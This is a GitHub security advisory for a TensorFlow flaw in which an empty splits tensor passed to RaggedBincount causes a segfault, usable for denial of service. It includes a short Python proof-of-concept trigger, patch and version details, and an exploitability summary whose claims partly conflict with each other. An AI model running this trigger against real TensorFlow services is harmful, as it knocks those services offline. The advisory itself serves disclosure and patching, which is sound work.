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GHSA-wr9v-g9vf-c74v
No affected components available
Impact
If RaggedBincount is given an empty input tensor splits, it results in a segfault that can be used to trigger a denial of service attack.
import tensorflow as tf
binary_output = True
splits = tf.random.uniform(shape=[0], minval=-10000, maxval=10000, dtype=tf.int64, seed=-7430)
values = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-10000)
size = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-10000)
weights = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.float32, seed=-10000)
tf.raw_ops.RaggedBincount(splits=splits, values=values, size=size, weights=weights, binary_output=binary_output)
Patches
We have patched the issue in GitHub commit 7a4591fd4f065f4fa903593bc39b2f79530a74b8.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University
The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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